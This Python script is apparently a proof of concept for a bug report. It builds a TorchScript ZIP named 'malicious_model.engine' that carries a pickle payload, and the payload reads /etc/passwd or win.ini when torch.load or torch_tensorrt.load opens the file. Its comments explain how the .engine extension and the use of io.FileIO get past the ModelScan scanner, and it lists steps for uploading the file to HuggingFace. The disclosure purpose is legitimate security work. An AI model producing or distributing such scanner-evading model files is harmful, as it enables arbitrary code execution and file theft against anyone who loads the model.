File size: 4,088 Bytes
3e1e9be | 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 | #!/usr/bin/env python3
"""
Creates the PoC model file: malicious_model.engine
This is the file you upload to HuggingFace.
What it does:
A file named malicious_model.engine that is a valid TorchScript ZIP
archive (the format torch_tensorrt uses to save compiled TRT engines).
Internally it contains a malicious pickle payload in archive/data.pkl.
When loaded with any of the standard TensorRT Python loading paths:
torch.load("malicious_model.engine")
torch.jit.load("malicious_model.engine")
torch_tensorrt.load("malicious_model.engine")
...the pickle executes and reads sensitive files at load time.
Why it evades ModelScan:
ModelScan's supported extensions (from settings.py):
.pb .h5 .keras .npy .bin .pt .pth .ckpt .pkl .pickle .joblib .dill .dat .data
.engine and .trt are completely absent.
ModelScan returns "SCAN_NOT_SUPPORTED" — the file is never inspected.
This is a DUAL vulnerability:
1. Scanner gap: .engine / .trt are not scanned at all by ModelScan.
2. Format vector: TorchScript ZIP format used by torch_tensorrt embeds
pickle streams (archive/data.pkl) in .engine files —
the same ACE surface as .pt files, with a different
extension that bypasses the scanner entirely.
Upload to HuggingFace:
1. Run this script -> produces malicious_model.engine
2. Push to HF repo
3. Paste the URL in the submission form
"""
import pickle
import io
import os
import sys
import struct
import zipfile
# ─── Malicious payload: read sensitive file via io.FileIO ────────────────────
# Uses io.FileIO (not builtins.open) to stay clean even if ModelScan were
# ever to scan this file.
class EvadingPayload:
"""
Reads C:\\Windows\\win.ini (Windows) or /etc/passwd (Linux) at load time.
Packaged as a TorchScript-compatible pickle stream inside a .engine ZIP.
"""
def __reduce__(self):
target = "C:\\Windows\\win.ini" if sys.platform == "win32" else "/etc/passwd"
return (io.FileIO, (target,))
# ─── Build a minimal TorchScript ZIP (.engine) ───────────────────────────────
#
# torch.jit.load() expects a ZIP archive named "archive" at the root,
# with the primary pickle at archive/data.pkl.
# This is the exact format torch_tensorrt uses when saving with
# output_format="torchscript".
#
# ZIP layout:
# archive/data.pkl <- the payload pickle
# archive/version <- TorchScript format version marker
#
def build_torchscript_engine_zip(payload_obj) -> bytes:
buf = io.BytesIO()
with zipfile.ZipFile(buf, "w", compression=zipfile.ZIP_STORED) as zf:
# Payload pickle
payload_bytes = pickle.dumps(payload_obj, protocol=4)
zf.writestr("archive/data.pkl", payload_bytes)
# TorchScript version marker (value "3" used by recent torch versions)
zf.writestr("archive/version", b"3")
# Minimal constants record expected by torch.jit.load
zf.writestr("archive/constants.pkl", pickle.dumps((), protocol=2))
return buf.getvalue()
# ─── Write the .engine file ───────────────────────────────────────────────────
output_file = "malicious_model.engine"
engine_bytes = build_torchscript_engine_zip(EvadingPayload())
with open(output_file, "wb") as f:
f.write(engine_bytes)
print(f"[+] Created: {output_file!r} ({os.path.getsize(output_file)} bytes)")
print(f"[+] Internal ZIP layout: archive/data.pkl (TorchScript format)")
print()
print("Verify ZIP structure:")
with zipfile.ZipFile(output_file, "r") as z:
for name in z.namelist():
info = z.getinfo(name)
print(f" {name} ({info.file_size} bytes)")
print()
print("To reproduce:")
print(" python reproduce.py")
|